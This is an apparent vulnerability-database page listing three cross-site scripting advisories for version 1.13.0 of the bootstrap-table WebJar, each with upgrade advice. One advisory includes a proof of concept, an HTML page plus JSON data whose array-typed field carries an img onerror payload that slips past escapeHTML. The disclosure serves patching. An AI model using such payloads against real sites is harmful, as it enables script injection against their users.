Homepage

org.webjars.bowergithub.wenzhixin:bootstrap-table@1.13.0 vulnerabilities

  • latest version

    1.22.3

  • latest non vulnerable version

    1.22.3

  • first published

    6 years ago

  • latest version published

    9 months ago

  • licenses detected

  • package manager

    View on Maven Repository
    • Go back to all versions of this package
    Report a new vulnerability Found a mistake?

    Direct Vulnerabilities

    Known vulnerabilities in the org.webjars.bowergithub.wenzhixin:bootstrap-table package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Cross-site Scripting (XSS)

    org.webjars.bowergithub.wenzhixin:bootstrap-table is an extended table to integration with some of the most widely used CSS frameworks. (Supports Bootstrap, Semantic UI, Bulma, Material Design, Foundation, Vue.js).

    Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the onCellHtmlData function. If you set the exportOptions in the Bootstrap Table to true, it will allow arbitrary Javascript to execute.

    How to fix Cross-site Scripting (XSS)?

    Upgrade org.webjars.bowergithub.wenzhixin:bootstrap-table to version 1.20.2 or higher.

    [,1.20.2)
    • M
    Cross-site Scripting (XSS)

    org.webjars.bowergithub.wenzhixin:bootstrap-table is an extended table to integration with some of the most widely used CSS frameworks. (Supports Bootstrap, Semantic UI, Bulma, Material Design, Foundation, Vue.js).

    Affected versions of this package are vulnerable to Cross-site Scripting (XSS) due to improper sanitization of the onCellHtmlData callback method, it is possible to be exploited when exportOptions is set to "true".

    How to fix Cross-site Scripting (XSS)?

    Upgrade org.webjars.bowergithub.wenzhixin:bootstrap-table to version 1.20.2 or higher.

    [,1.20.2)
    • L
    Cross-site Scripting (XSS)

    org.webjars.bowergithub.wenzhixin:bootstrap-table is an extended table to integration with some of the most widely used CSS frameworks. (Supports Bootstrap, Semantic UI, Bulma, Material Design, Foundation, Vue.js).

    Affected versions of this package are vulnerable to Cross-site Scripting (XSS). A type confusion vulnerability can lead to a bypass of input sanitization when the input provided to the escapeHTML function is an array (instead of a string) even if the escape attribute is set.

    PoC

    <!DOCTYPE html>
<html lang="en">
    <head>
    <meta charset="UTF-8">
    <title>BootStrap-Table</title>
    
    <link href="./node_modules/bootstrap-table/dist/bootstrap-table.min.css" rel="stylesheet">
    <script type="text/javascript" src="./node_modules/jquery/dist/jquery.js"></script>
    <script type="text/javascript" src="./node_modules/bootstrap-table/dist/bootstrap-table.js"></script>


    </head>
    <body>
        <table 
            id="table"
            data-toggle="table"
            data-escape="true"
            data-url="json/data1.json"
        >
            <thead>
              <tr>
                <th data-field="name"></th>
              </tr>
            </thead>
        </table>
    </body>
</html>

    Content of json/data1.json:

    [
    {
        "name": "Hello World! <img src='' onerror='alert(1)' />"
    },
    {
        "name": ["Hello World! <img src='' onerror='alert(2)' />"]
    }
]

    How to fix Cross-site Scripting (XSS)?

    Upgrade org.webjars.bowergithub.wenzhixin:bootstrap-table to version 1.19.1 or higher.

    [,1.19.1)
    Go back to all versions of this package